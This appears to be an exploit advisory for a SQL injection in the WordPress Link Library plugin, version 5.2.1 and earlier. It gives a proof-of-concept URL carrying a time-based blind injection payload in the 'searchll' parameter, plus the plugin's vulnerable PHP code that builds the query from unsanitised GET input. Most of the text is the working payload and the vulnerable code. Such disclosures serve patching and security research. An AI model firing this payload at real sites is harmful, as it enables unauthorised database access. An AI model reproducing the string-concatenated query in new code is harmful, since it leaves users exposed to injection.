# Exploit Title: WordPress Link Library plugin <= 5.2.1 SQL Injection Vulnerability
# Date: 2011-09-16
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/link-library.zip
# Version: 5.2.1 (tested)
# Note: magic_quotes has to be turned off
---
PoC
---
http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23
---------------
Vulnerable code
---------------
./link-library-ajax.php:
echo $my_link_library_plugin->LinkLibrary(...);
./link-library.php:
class link_library_plugin {
...
function LinkLibrary(...) {
return $this->PrivateLinkLibrary(...)
...
function PrivateLinkLibrary(...) {
...
if ($_GET['searchll'] != "")
{
$searchterms = explode(" ", $_GET['searchll']);
if ($searchterms)
{
$mode = "search";
$termnb = 1;
foreach($searchterms as $searchterm)
{
if ($termnb == 1)
{
$linkquery .= " AND (link_name like '%" . $searchterm . "%' ";
$termnb++;
}
...
$linkitems = $wpdb->get_results($linkquery, ARRAY_A);
